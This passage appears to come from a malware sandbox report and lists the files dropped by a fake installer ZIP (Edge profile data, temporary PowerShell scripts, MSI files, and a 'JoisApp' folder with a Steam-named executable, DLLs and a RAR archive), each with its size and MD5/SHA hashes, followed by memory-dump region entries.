46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version

Filesize
11B

MD5
b29bcf9cd0e55f93000b4bb265a9810b

SHA1
e662b8c98bd5eced29495dbe2a8f1930e3f714b8

SHA256
f53ab2877a33ef4dbde62f23f0cbfb572924a80a3921f47fc080d680107064b4

SHA512
e15f515e4177d38d6bb83a939a0a8f901ce64dffe45e635063161497d527fbddaf2b1261195fde90b72b4c3e64ac0a0500003faceffcc749471733c9e83eb011

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
5bc21295273821177b46a52f73ca74d9

SHA1
245ec8ae857a6bed6c7bbac544db3cffbb1231b1

SHA256
35b1bf01a4a78ee41af8c6fdbefe13dc6b8ac3b7bf32816e95d4ac6df6e257a5

SHA512
ee2b5bed5088d02db58f9014471b008a9a09c68b117a24d452d9afe9ae72acc53ef218193d10476464ad7975533a63334745db730cb0395dff413827e4ba766d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
fb64893f913fbd66a089dd0c2f2ed801

SHA1
ec360f1d1402fab5cf1b06c8eb1df8acaa41030b

SHA256
7d1a2008bb1682d1e506e531b437314d6ed61527676e0a9c9209982457467d32

SHA512
17ff5b59ab9a0a86110cb9704d39e48b6f4f5163e811ab193c3982514833cf6d4b080776a525075bb6afe80f8909d292b68702a5a6e962c99e9d034d5a7263d4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
a9567c9a33ae1318a8c102155620227d

SHA1
f6f0cfde3f0e5d8bdf9c400c086feeaedc4c95af

SHA256
bd037c4efba4e4130748bfd49285f2b6485869df52e3a1da4795781f5d737ec2

SHA512
3be7864908dac8194e04e9e84ce88756f242888d8a751738f70714d50453f4afedf5a67aa9fbf9eb6cb0b953956df87f1bb83c286fb7b8f328fa8c0f369f522b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
1bb1c29db86c85caab8e1ae47555a500

SHA1
18cfca1e620d02ed204b217628826cbbb4f66bc3

SHA256
48c94bad3bbdc028ed448b2d214a6c013aa62e88306ab7614e0f6e204161af45

SHA512
0051af7628a63570c261cfb99e0e498ec3cf0442c3cce3d2a155e1eb0aae49e38785375082d94b5c583aad96b847383a936ed6ffe105b77e3d4d73647f8bdf15

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
e6e728f636cd141285d5dcba9bf94955

SHA1
9aeeff09a5e0c6ac4221fbe85a1e04c6ec39ce74

SHA256
22408037ef128c927492df374d6eacd629fe1dbb11b723271ea9be4b5512e7ff

SHA512
3e1484bddeade03620721b4f096b5a3aa53863fddebea024c87e79da6b87d6b01a9a1a1df000331104d0f90eb26d6d0bb8ff03e40b08ce177a9031ec0f7616e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2lgqgocc.fml.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\msi764F.txt

Filesize
72B

MD5
c6fde8d383548de00a2f8e22ce1e8416

SHA1
0181cb32ccc74eed1ef389d3ad12d455a8c61fa2

SHA256
9f33734a7cd48d3c5d15b972a7cda95ebb57de0e7d702b9627c6a942bd72f8fd

SHA512
fa5834114e4a4248101d5be95b6d878330ef1ae460ad55f2746cff8c8d27f1a726354a501b422a626f200a6edbd4e2cd1913e29f86273a7ca09c53c145d250f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss7662.ps1

Filesize
6KB

MD5
30c30ef2cb47e35101d13402b5661179

SHA1
25696b2aab86a9233f19017539e2dd83b2f75d4e

SHA256
53094df6fa4e57a3265ff04bc1e970c10bcdb3d4094ad6dd610c05b7a8b79e0f

SHA512
882be2768138bb75ff7dde7d5ca4c2e024699398baacd0ce1d4619902402e054297e4f464d8cb3c22b2f35d3dabc408122c207facad64ec8014f2c54834cf458

Download Submit
C:\Users\Admin\AppData\Local\Temp\scr7650.ps1

Filesize
584B

MD5
b8668591ea1df267bf796e99731d5bfb

SHA1
ab63e3a377b3b947768385cf11b73245d0c221eb

SHA256
5a60e996e5b73b2c168cb844e11719dd206a8c5f18d75cf55c36768445425652

SHA512
8cbbb79ab34ea7990bbdeb472e632620e4b49b38570725c7269f3f2152b542fb156291dae7ca5dd6e776fca317047dea441dca47f0de4dac36618375e9441d3f

Download Submit
C:\Users\Admin\AppData\Roaming\Uifie Public Co\JoisApp\UnRAR.exe

Filesize
494KB

MD5
98ccd44353f7bc5bad1bc6ba9ae0cd68

SHA1
76a4e5bf8d298800c886d29f85ee629e7726052d

SHA256
e51021f6cb20efbd2169f2a2da10ce1abca58b4f5f30fbf4bae931e4ecaac99b

SHA512
d6e8146a1055a59cba5e2aaf47f6cb184acdbe28e42ec3daebf1961a91cec5904554d9d433ebf943dd3639c239ef11560fa49f00e1cff02e11cd8d3506c4125f

Download Submit
C:\Users\Admin\AppData\Roaming\Uifie Public Co\JoisApp\ruw9eigh.rar

Filesize
174KB

MD5
4727011a8ef78830638bd2afb440682c

SHA1
20621457f760dd4396e72bfcd5cbc81c311277cb

SHA256
ba222d16c8e2be9d78ac2977b87de0e2be676e45153ad6d642e6013e381e262c

SHA512
05a96624e6dd1774fa52ce5cba032aec66a781c696dd4b018e5bcacdbeabe1fab1c993ebadc97aa70ec59508e9607ba00ec8768000be947fbd09deb20a371f39

Download Submit
C:\Users\Admin\AppData\Roaming\Uifie Public Co\JoisApp\steamerrorreporter64.exe

Filesize
639KB

MD5
fd3ce044ac234fdab3df9d7f492c470a

SHA1
a74a287d5d82a8071ab36c72b2786342d83a8ef7

SHA256
0a0c09753b5103e86e32c2d8086dd1399f0d97a00e1525ec9c390067cdb242ba

SHA512
86d7e805fab0e5130003facbb1525ee261440846f342f53ae64c3f8d676d1208d5fd9bd91e3222c63cc30c443348eb5ddedab14c8847dae138fba7e9be69d08d

Download Submit
C:\Users\Admin\AppData\Roaming\Uifie Public Co\JoisApp\tier0_s64.dll

Filesize
386KB

MD5
7e60404cfb232a1d3708a9892d020e84

SHA1
31328d887bee17641608252fb2f9cd6caf8ba522

SHA256
5a3e15cb90baf4b3ebe0621fa6f5f37b0fe99848387d6f2fd99ae770d1e6d766

SHA512
4d8abd59bd77bdb6e5b5e5f902d2a10fa5136437c51727783e79aed6a796f9ee1807faf14f1a72a1341b9f868f61de8c676b00a4b07a2a26cfb8a4db1b77eb3c

Download Submit
C:\Users\Admin\AppData\Roaming\Uifie Public Co\JoisApp\vstdlib_s64.dll

Filesize
1.0MB

MD5
0dc54d80f182d83cce43c61d3b29bbb3

SHA1
e71576b1b0edb55e08b61fc52b68623af600c8cd

SHA256
8d797aaf9130ab60cb2ca1ca4ca22f36904d34ff336942c6ca162a9e00595e4a

SHA512
d649768424f0f2105c84291073130a5af9d73f1dce4a2167bf6f9f557e581f8e6a4915a27e27f15e0f4b1dfc27839b25c62276737406e0067eef736412330388

Download Submit
C:\Users\Admin\Downloads\x64___installer___x32___.zip

Filesize
25.7MB

MD5
af9ec0b722ac022bf2012f6e18d4f00e

SHA1
e4eb74289e3e4da6e9aca9363972cd99054900d7

SHA256
1d5506ef2e4906e9a0717e6f4483eca7360934abaadda0ca587bfe949fe2eecb

SHA512
b17c95d7cb92ede8e214a35bcfa0b72f2a1d6feab79e8cd216567b0d102149496011fc795866465fedb4600f77235f68acbbe7f2c13ff5a8a8750bfbd4325516

Download Submit
C:\Users\Admin\Downloads\x64___installer___x32___.zip:Zone.Identifier

Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
C:\Windows\Installer\MSI73EE.tmp

Filesize
738KB

MD5
b158d8d605571ea47a238df5ab43dfaa

SHA1
bb91ae1f2f7142b9099e3cc285f4f5b84de568e4

SHA256
ca763693cc25d316f14a9ebad80ebf00590329550c45adb7e5205486533c2504

SHA512
56aef59c198acf2fcd0d95ea6e32ce1c706e5098a0800feff13ddb427bfb4d538de1c415a5cb5496b09a5825155e3abb1c13c8c37dc31549604bd4d63cb70591

Download Submit
C:\Windows\Installer\MSI755A.tmp

Filesize
758KB

MD5
fb4665320c9da54598321c59cc5ed623

SHA1
89e87b3cc569edd26b5805244cfacb2f9c892bc7

SHA256
9fb3156c665211a0081b189142c1d1ab18cda601ee54d5f5d8883ecfa4177a59

SHA512
b205552a3cfbaa2202e6ef7e39e229af167b2342a7dc4a2f4cadfe4d05000966cf19e9e208e44d6bb0fd6a56f4283caeed9c13f523e5b301b87f79febb1840cf

Download Submit
C:\Windows\Installer\e597380.msi

Filesize
24.1MB

MD5
e81a3b654310f37a84f2d306040a1741

SHA1
c5db8b3c92c74f0419821599c7b82aa53436d75c

SHA256
774c4b66cd1dd9cda66c71272996786bfc8d7d98c50fe5fbb15e3b01b482d451

SHA512
c013c66aaf2caa65b9fa7b67e9781e9a6beda4b65e746c5bedd833b8876cd8e7e208f8eded6d032cb12cf1e3401feeb0fb91ed3b045aa5a23550fef13dcb4c0c

Download Submit
memory/680-557-0x00000000089B0000-0x0000000008F56000-memory.dmp

Filesize
5.6MB

Download
memory/680-549-0x0000000006200000-0x0000000006557000-memory.dmp

Filesize
3.3MB

Download
memory/680-559-0x00000000085D0000-0x0000000008792000-memory.dmp

Filesize
1.8MB

Download
memory/680-556-0x00000000075D0000-0x00000000075F2000-memory.dmp

Filesize
136KB

Download
memory/680-551-0x0000000006640000-0x000000000668C000-memory.dmp

Filesize
304KB

Download
memory/680-553-0x0000000007D80000-0x00000000083FA000-memory.dmp

Filesize
6.5MB

Download
memory/680-555-0x0000000007900000-0x0000000007996000-memory.dmp

Filesize
600KB

Download
memory/680-536-0x0000000002DF0000-0x0000000002E26000-memory.dmp

Filesize
216KB

Download
memory/680-537-0x0000000005A50000-0x000000000607A000-memory.dmp

Filesize
6.2MB

Download
memory/680-538-0x0000000005770000-0x0000000005792000-memory.dmp

Filesize
136KB

Download
memory/680-539-0x0000000005990000-0x00000000059F6000-memory.dmp

Filesize
408KB

Download
memory/680-554-0x0000000006B70000-0x0000000006B8A000-memory.dmp

Filesize
104KB

Download
memory/680-540-0x00000000060F0000-0x0000000006156000-memory.dmp

Filesize
408KB

Download
memory/680-560-0x0000000009490000-0x00000000099BC000-memory.dmp

Filesize
5.2MB

Download
memory/680-550-0x0000000006620000-0x000000000663E000-memory.dmp

Filesize
120KB

Download
memory/1580-673-0x000001CABE2C0000-0x000001CABE2C1000-memory.dmp

Filesize
4KB

Download
memory/1580-674-0x000001CABE2D0000-0x000001CABE2F5000-memory.dmp

Filesize
148KB

Download
memory/1684-744-0x0000000075380000-0x00000000755D2000-memory.dmp

Filesize
2.3MB

Download
memory/1684-741-0x0000000002520000-0x0000000002920000-memory.dmp

Filesize
4.0MB

Download
memory/1684-742-0x00007FFA5A780000-0x00007FFA5A989000-memory.dmp

Filesize
2.0MB

Download
memory/1684-739-0x0000000000590000-0x0000000000599000-memory.dmp

Filesize
36KB

Download
memory/2984-734-0x0000000004750000-0x0000000004B50000-memory.dmp

Filesize
4.0MB

Download
memory/2984-735-0x0000000004750000-0x0000000004B50000-memory.dmp

Filesize
4.0MB

Download
memory/2984-738-0x0000000075380000-0x00000000755D2000-memory.dmp

Filesize
2.3MB

Download
memory/2984-736-0x00007FFA5A780000-0x00007FFA5A989000-memory.dmp

Filesize
2.0MB

Download
memory/2984-679-0x0000000000680000-0x00000000006A8000-memory.dmp

Filesize
160KB

Download
memory/2984-678-0x0000000000680000-0x00000000006A8000-memory.dmp

Filesize
160KB

Download
memory/2984-677-0x0000000000680000-0x00000000006A8000-memory.dmp

Filesize
160KB

Download
memory/4708-728-0x00000251F58D0000-0x00000251F5DF8000-memory.dmp

Filesize
5.2MB

Download
memory/4708-727-0x00000251F51D0000-0x00000251F5392000-memory.dmp

Filesize
1.8MB

Download
memory/4708-702-0x00000251F4FE0000-0x00000251F4FFC000-memory.dmp

Filesize
112KB

Download
memory/4708-686-0x00000251DC990000-0x00000251DC9B2000-memory.dmp

Filesize
136KB

Download